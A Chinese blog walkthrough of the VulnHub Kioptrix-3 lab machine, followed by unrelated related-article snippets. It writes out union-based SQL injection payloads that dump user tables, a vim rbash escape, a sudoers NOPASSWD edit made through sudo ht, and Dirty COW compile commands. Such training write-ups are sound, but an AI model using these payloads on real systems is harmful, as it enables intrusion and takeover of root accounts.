vulnhub靶场【kioptrix-3】靶机

前言

靶机:kioptrix-3,IP地址为192.168.1.74

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

在这里解压靶机后,会有一个readme.txt文件,查看该文件,提示是需要进行ip和域名的绑定

kali中修改/etc/hosts文件即可,在windows中修改C:\Windows\System32\Drivers\etc\hosts文件即可

这里是修改windows文件,因为前面都是修改的kali文件,不能把windows也忘了

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.1.74 -p- -T4

网站信息探测

访问80端口界面,发现三个功能点,home指向index.php?page=bloglogin指向index.php?system=

查看页面源代码后,发现脚本语言为php,并且是目录型网站,且发现几个地址链接

访问blog,这就是一个博客

访问login,发现是登录界面,尝试之前的万能密码进行测试,发现是不行的,不过这里还是可以看到产品的出处,也就是cmslotusCMS

那么暂且搁置,还有一个目录没有访问查看呢

访问gallery,这个界面的内容挺多

尝试进行测试吧,发现点击ligoat press room时,其中的功能多了很多,并且出现php传参id,这个可以进行模糊测试,先以最简单的测试,看有无注入点

sql注入获取账户密码

尝试以sql注入的判断,以'进行闭合,发现出现报错,那么可能存在sql注入,并且数据库类型为mysql

进一步测试,确定为数字型的注入

?id=1 or 1=1--+
?id=1 and 1=1--+
?id=1 and 1=2--+

尝试构造语句,先测试联合查询是否可行,毕竟这个是比较省事的。

首先确定显示列数,可以借助order by

?id=1 order by 6

这里的数字6是经过回显不同确定的

确定列数为6,那么就构造联合查询

?id=-1 union select 1,2,3,4,5,6 --+//对于靶机来说,数字1-6代表是可以,不过大部分时候,就算真的存在sql注入,也是并非这样
//而是需要对应类型,所以大部分时候,也是以null进行代表,然后猜测每一个类型是字符还是数字
?id=-1 union select 1,null,null,null,null,null --+

可以看到,在2,3位是有回显的

尝试构造语句,来获取当前数据库名称,数据库用户,数据库版本信息

?id=-1 union select 1,concat(database(),'|',version(),'|',user()),3,4,5,6 --+

获取到信息,数据库gallery,数据库版本是5.0之后,具有information_schema这个表,并且确定concat是可用的

那么尝试从information_schema中查询gallery中的一些数据,因为一般可能当前使用的数据库中有信息,当然肯定还是其他数据库也是有信息的,不过这里先测试这个

?id=-1 union select 1,concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+

发现这个表,那么就测试这个表中的元组

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+

这两个就很是吸引人了,直接就尝试获取

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from gallarific_users--+

用户名admin和密码n0t7t1k4

结合前面login目录,推测应该可以登录,访问login,并进行测试,不过并非,那么可能漏了数据,返回继续收集

在前面某处有一个表名是dev_accounts,不过当时没关注,其中accounts是账户的意思,结合dev,推测是靶机内的账户

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts'--+

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from dev_accounts--+

用户名密码(md5加密)解密密码
dreg0d3eccfb887aabd50f243b3f155c0f85Mast3r
loneferret5badcaf789d3d1d09794d8f021f40f0estarwars

可以发现这里的密码应该是进行加密,并且挺像md5加密的,假设就是,尝试进行破解即可,可借助john爆破,或者使用在线网站识别

rbash逃逸

那么直接测试是否可连接ssh,发现可以登录

尝试cd,发现具有rbash,没办法有更完整的功能

输入help,发现有compgen命令可用

常见的rbash逃逸方法有很多,这里通过compgen测试有无vim

compgen -c | grep vim

那么随便vim编辑一个文件,然后尝试进行rbash逃逸

vim 1按着esc,然后输入 :
:set shell=/bin/bash
:shell

即可逃逸成功

还有其他方式,如最简单的,若是可以使用bash,则可以直接逃逸

可自行ai搜索,或者参考一些博主的文章

提权

借助sudo提权

使用find寻找具有SUID权限的文件,发现sudo,尝试列出有无文件可用,但是发现当前用户不行

find / -perm -u=s -type f 2>/dev/null

那么切换到用户loneferret,直接通过su切换即可,既然是新用户,查看当前目录下的一些文件,发现都指向ht

测试sudo -l,发现虽然有一个文件,说是对于除su以外的都可以执行,但是测试后,根本不行

那么还是从ht下手,直接sudo,发现报错

可以自行ai搜索是什么意思,这里可以设置临时变量

export TERM=xterm
sudo /usr/local/bin/ht

或者

sudo TERM=xterm ht

这就是打开后的界面

这里的操作方式,可以通过alt+f打开左上角的file菜单,其余的同样,都是alt+红色开头字母,可与打开对应的菜单,按esc退出菜单

这里因为这个ht是通过sudo打开的,所以可以通过这个打开一些无法打开的文件,如/etc/shadow

打开file菜单后,选择open,然后按着tab键盘,这时候就会切换到files,这里可以切换目录

这里就可以尝试使用john进行爆破,不过这里肯定耗时间,毕竟还不知道加密方式

并且,这里还是可以修改的,所以还可以修改sudoers文件

打开后,添加一行,因为涉及到修改,所以需要保存,在alt+f后,有save按钮,然后按f10即可退出

loneferret ALL=(ALL) NOPASSWD:ALL
#对于loneferret用户,可以通过sudo执行所有,并且不需要输入密码

再次sudo -l查看,可以发现修改成功,这时候就可以使用sudo为所欲为了

这里还可以在kali生成公私钥,然后去/root目录下,在.ssh目录下,添加一个文件,然后把生成的公钥复制到新文件authorized_keys即可,这里是确认在/root下有.ssh目录的

通过系统内核提权

在靶机测试内核版本等信息

uname -a
uname -r 
cat /etc/*release
cat /etc/issue

这个内核范围是在脏牛提权的范围内的,只是对于使用哪一个有待测试

测试过后,发现对于40839.c是可以的,当然这里还可以借助脚本工具les.sh或者叫linux-exploit-suggester.sh

这里在github的地址如下:

https://github.com/The-Z-Labs/linux-exploit-suggester

这是在kali中指定靶机的uname -a信息分析出最有可能的提权漏洞,也就是脏牛,并且这里还缩小范围了

提权过程就是把40839.c文件下载到靶机内的/tmp目录,然后进行编译,可以查看该文件,其中是有用法的

gcc -pthread 40839.c -o dirty -lcrypt
./dirty my-new-password
su firefart

编译后执行,然后切换到用户firefart,密码就是自己设置的,即可提权

总结

该靶机考察以下几点:

  1. 网站功能测试,能点的都点了进行测试,最好是抓包分析,这里可通过浏览器抓包或者burp抓包都行,这里的靶机肉眼可见,就无需抓包
  2. 对于注入点能否找到并且测试,现在其实都放置在一个字典中,然后进行模糊测试某一个传参等方式
  3. 基本的sql注入要会,这里虽然我只用了联合查询,但是其他方式难道不行吗,比如延时注入、布尔注入
  4. 对于mysql数据库的基本构造要知道,这里是information_schema数据库的重点,当然其他数据库也要去了解
  5. 对于rbash逃逸,方法众多,不要局限,这里最终无法逃逸,还是可以切换用户的,这个主要就是练习
  6. 对于提权方法,这里是通过命令历史查看或者sudo -l都是可以发现第三方软件,并且初步测试该软件的功能,要快速知道该软件有无可利用点
  7. 提权方式,内核版本也是重要的,这里脏牛提权

这里其实前面有很多步骤都没有写,因为我是测试过,当时觉得并无内容,不重要,但是还是在这里写一下吧,毕竟要养成一个习惯

  1. 目录扫描爆破,这里其实发现了phpmyadmin界面,可以在这里进行爆破测试。主要就是不要忘记目录爆破,这个可能会取得意想不到的内容

  2. CMS漏洞,这里不要忘记搜索并测试,这种很重要,不过这里我是搜索并测试无用后,所以就没有记录。但是一定要知道这个重要的方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/69089.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高并发处理 --- 超卖问题+一人一单解决方案

在高并发场景下,超卖和一人一单是两个典型的并发问题。为了解决这两个问题,我们可以使用乐观锁(CAS)和悲观锁,这两者分别有不同的实现方式和适用场景。下面我们详细介绍如何通过 乐观锁(CAS) 和…

C++ 标准模板库 (STL, Standard Template Library)

声明:大佬们~这是Tubishu在追寻stl过程中偶然得到了“颢天”大佬的笔记,shushu感觉非常有帮助🔥又颢天佬未曾来过CSDN,索性在此传达颢天大佬的功德🧎 传送门在此➡️颢天笔记✨✨ C 标准模板库 (STL, Standard Templa…

iOS 集成ffmpeg

前言 本来打算用flutter去实现一个ffmpeg的项目的,不过仔细分析了一下,我后期需要集成OpenGL ES做视频渲染处理,OpenGL ES的使用目前在flutter上面还不是很成熟,所以最后还是选择用原生来开发 ffmpeg集成到iOS工程 iOS对于ffmp…

代码随想录算法【Day31】

Day31 56. 合并区间 class Solution { public://按照左边界&#xff0c;从小到大排序static bool cmp(const vector<int>& a, const vector<int>& b){return a[0] < b[0];} ​vector<vector<int>> merge(vector<vector<int>>…

2013年蓝桥杯第四届CC++大学B组真题及代码

目录 1A&#xff1a;高斯日记&#xff08;日期计算&#xff09; 2B&#xff1a;马虎的算式&#xff08;暴力模拟&#xff09; 3C&#xff1a;第39级台阶&#xff08;dfs或dp&#xff09; 4D&#xff1a;黄金连分数&#xff08;递推大数运算&#xff09; 5E&#xff1a;前缀…

Windows电脑安装USB Redirector并实现内外网跨网USB共享通信访问

文章目录 前言1. 安装下载软件1.1 内网安装使用USB Redirector1.2 下载安装cpolar内网穿透 2. 完成USB Redirector服务端和客户端映射连接3. 设置固定的公网地址 前言 我们每天都在与各种智能设备打交道&#xff0c;从手机到电脑&#xff0c;再到各种外设&#xff0c;它们已经…

蓝桥杯3519 填充 | 分类讨论

题目传送门 很简单&#xff0c;遍历一次字符串&#xff0c;将‘?’作为0或1处理&#xff0c;发现00和11统计次数即可。 s str(input()) cnt 0 arr [00, 11, 0?, ?0, 1?, ?1, ??] i0 while i < len(s)-1:if s[i:(i2)] in arr:i 2cnt 1else:i 1 print(cnt)END✨

9.中断系统、EXTI外部中断

中断系统原理 中断 中断系统是管理和执行中断的逻辑结构&#xff0c;外部中断是众多能产生中断的外设之一&#xff0c;所以本节我们就借助外部中断来学习一下中断系统。在以后学习其它外设的时候&#xff0c;也是会经常和中断打交道的。 中断&#xff1a;在主程序运行过程中…

在Docker 容器中安装 Oracle 19c

在 Docker 容器中安装 Oracle 19c 是可行的&#xff0c;但它相较于其他数据库&#xff08;如 MySQL、PostgreSQL 等&#xff09;会复杂一些&#xff0c;因为 Oracle 数据库有一些特定的要求&#xff0c;如操作系统和库的依赖&#xff0c;以及许可证问题。 不过&#xff0c;Ora…

c++----------------------多态

1.多态 1.1多态的概念 多态(polymorphism)的概念&#xff1a;通俗来说&#xff0c;就是多种形态。多态分为编译时多态(静态多态)和运⾏时多 态(动态多态)&#xff0c;这⾥我们重点讲运⾏时多态&#xff0c;编译时多态(静态多态)和运⾏时多态(动态多态)。编译时 多态(静态多态)…

LabVIEW心音心电同步采集与实时播放

开发了一个基于LabVIEW开发的心音心电同步采集与实时播放系统。该系统可以同时采集心音和心电信号&#xff0c;并通过LabVIEW的高级功能实现这些信号的实时显示和播放。系统提升心脏疾病诊断的准确性和效率&#xff0c;使医生能够在观察心音图的同时进行听诊。 ​ 项目背景 心…

Android实战经验篇-玩转Selinux(详解版)

列文章转如下链接&#xff1a; Android Display Graphics系列文章-汇总 Android实战经验篇-系列文章汇总 本文主要包括部分&#xff1a; 一、Selinux概述 1.1 SELinux是什么&#xff1f; 1.2 自主访问控制&#xff08;DAC&#xff09; 1.3 强制访问控制&#xff08;MAC&…

全连接神经网络(前馈神经网络)

目录 一、初步认识全连接神经网络 1、神经元 2、网络结构 3、正向传播算法 二、反向传播算法 1、理解 2、迭代流程 三、构建神经网络模型的基本步骤 四、线性回归神经网络结构 4.1 数据处理 1、数据导入 2、数据归一化处理 3、数据集划分 4、数据形状变换 4.2 模…

MyBatis最佳实践:MyBatis 框架的缓存

缓存的概念&#xff1a; 在内存中临时存储数据&#xff0c;速度快&#xff0c;可以减少数据库的访问次数经常需要查询&#xff0c;不经常修改的数据&#xff0c;不是特别重要的数据都适合存储到缓存中 缓存的级别&#xff1a; 一级缓存(默认开启)&#xff1a;SqlSession 级别 …

(即插即用模块-特征处理部分) 十八、(TIM 2022) TIF Transformer交互融合模块

文章目录 1、Transformer Interactive Fusion2、代码实现 paper&#xff1a;DS-TransUNet: Dual Swin Transformer U-Net for Medical Image Segmentation Code&#xff1a;https://github.com/TianBaoGe/DS-TransUNet 1、Transformer Interactive Fusion 对于一些传统的特征融…

CVE-2025-0411 7-zip 漏洞复现

文章目录 免责申明漏洞描述影响版本漏洞poc漏洞复现修复建议 免责申明 本文章仅供学习与交流&#xff0c;请勿用于非法用途&#xff0c;均由使用者本人负责&#xff0c;文章作者不为此承担任何责任 漏洞描述 此漏洞 &#xff08;CVSS SCORE 7.0&#xff09; 允许远程攻击者绕…

[操作系统] 深入进程地址空间

程序地址空间回顾 在C语言学习的时&#xff0c;对程序的函数、变量、代码等数据的存储有一个大致的轮廓。在语言层面上存储的地方叫做程序地址空间&#xff0c;不同类型的数据有着不同的存储地址。 下图为程序地址空间的存储分布和和特性&#xff1a; 使用以下代码来验证一下…

IGBT的损耗计算的学习【2025/1/24】

可以通过示波器实测IGBT电压电流波形&#xff0c;然后通过示波器的math功能将电压电流波形乘积后积分求损耗。 软开管&#xff1a;给了导通信号&#xff0c;但是电流并没有从此IGBT流过 IGBT&#xff08;绝缘栅双极晶体管&#xff09;的损耗主要分为 导通损耗 和 开关损耗 两部…

Jmeter使用Request URL请求接口

简介 在Jmeter调试接口时&#xff0c;有时不清楚后端服务接口的具体路径&#xff0c;可以使用Request URL和cookie来实现接口请求。以下内容以使用cookie鉴权的接口举例。 步骤 ① 登录网站后获取具体的Request URL和cookie信息 通过浏览器获取到Request URL和cookie&#…

联想电脑怎么设置u盘启动_联想电脑设置u盘启动方法(支持新旧机型)

有很多网友问联想电脑怎么设置u盘启动&#xff0c;联想电脑设置u盘启动的方法有两种&#xff0c;一是通过bios进行设置。二是通过快捷方式启动进入u盘启动。但需要注意有两种引导模式是&#xff0c;一种是uefi引导&#xff0c;一种是传统的leacy引导&#xff0c;所以需要注意制…